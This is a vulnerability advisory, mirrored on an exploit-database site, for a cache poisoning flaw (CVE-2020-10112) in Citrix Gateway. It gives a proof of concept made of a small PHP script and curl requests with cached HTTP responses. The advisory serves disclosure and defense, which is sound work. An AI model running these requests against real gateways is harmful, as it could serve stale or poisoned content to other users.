Lucene search
K

Citrix Gateway 11.1 / 12.0 / 12.1 Cache Poisoning Vulnerability

🗓️ 09 Mar 2020 00:00:00Reported by Micha BorrmannType 
zdt
 zdt
🔗 0day.today👁 124 Views

Citrix Gateway cache poisoning vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2020-10112
17 Oct 202402:24
circl
CNVD
Citrix Gateway Cache Overflow Vulnerability
9 Mar 202000:00
cnvd
CVE
CVE-2020-10112
6 Mar 202020:33
cve
Cvelist
CVE-2020-10112
6 Mar 202020:33
cvelist
NVD
CVE-2020-10112
6 Mar 202021:15
nvd
OSV
CVE-2020-10112
6 Mar 202021:15
osv
Packet Storm
Citrix Gateway 11.1 / 12.0 / 12.1 Cache Poisoning
9 Mar 202000:00
packetstorm
Prion
Design/Logic Flaw
6 Mar 202021:15
prion
Positive Technologies
PT-2020-11934 · Citrix · Citrix Adc +1
6 Mar 202000:00
ptsecurity
RedhatCVE
CVE-2020-10112
9 Jan 202609:53
redhatcve
Rows per page
Product:                   Citrix Gateway
Manufacturer:              Citrix Systems, Inc.
Affected Version(s):       11.1, 12.0, 12.1
Tested Version(s):         11.1.63.15, 12.0.63.13, 12.1.55.18
Vulnerability Type:        Cache Poisoning (CAPEC-141)
Risk Level:                Low
Solution Status:           Open
Manufacturer Notification: 2020-01-31
Solution Date:             no solution
Public Disclosure:         2020-03-05
CVE Reference:             CVE-2020-10112
Author of Advisory:        Micha Borrmann (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

"Citrix Gateway is a customer-managed solution that can be deployed on
premises or on any public cloud, such as AWS, Azure, or Google Cloud
Platform.  Citrix Gateway provides users with secure access and single
sign-on to all the virtual, SaaS and web applications they need to be
productive." (see [1])

The solution contains a caching system, which stores dynamic content
for a static period of time.  During the caching time, even requests
with individual parameters are answered with the cached value.  This
can be abused for cache poisoning.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

If a client is asking for an URL with parameter "value=A", the
parameter will be processed and the response will be cached.  If
another client is requesting the same URL but with a different
parameter "value=B", the request will be answered with the initial
response ("value=A") during the caching time (for 112 seconds).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

Provide on a Citrix Gateway system ($NSGATEWAYHOST) the following PHP
script at /var/netscaler/logon/increment.php.

<?php
print(++$_POST[value]);
print("\n");
?>

The first response will be processed correctly, meaning that the
provided value in the HTTP response will be incremented by one.

$ curl --include --url https://$NSGATEWAYHOST/logon/incremental.php --data "value=41" 
HTTP/1.1 200 OK
Age: 1         
Date: Fri, 31 Jan 2020 12:13:11 GMT
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-store, must-revalidate
Connection: Keep-Alive
Via: NS-CACHE-10.0: 121
ETag: "KXGGENKFDKPU"
Server: Apache
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Content-Length: 3
Content-Type: text/html; charset=UTF-8

42


A later request will be answered with the same value, even with
another browser from another source IP address:

$ curl --include --url https://$NSGATEWAYHOST/logon/incremental.php --data "value=77" --user-agent "Mozilla"
HTTP/1.1 200 OK
Age: 71        
Date: Fri, 31 Jan 2020 12:13:11 GMT
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-store,must-revalidate
Connection: Keep-Alive
Via: NS-CACHE-10.0: 121
ETag: "KXGGENKFDKPU"
Server: Apache
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Content-Length: 3
Content-Type: text/html; charset=UTF-8

42


If the age of the response reaches 112, the cache will be cleared and
then the correct value will be used.

#  0day.today [2020-03-11]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Mar 2020 00:00Current
6Medium risk
Vulners AI Score6
EPSS0.00501
124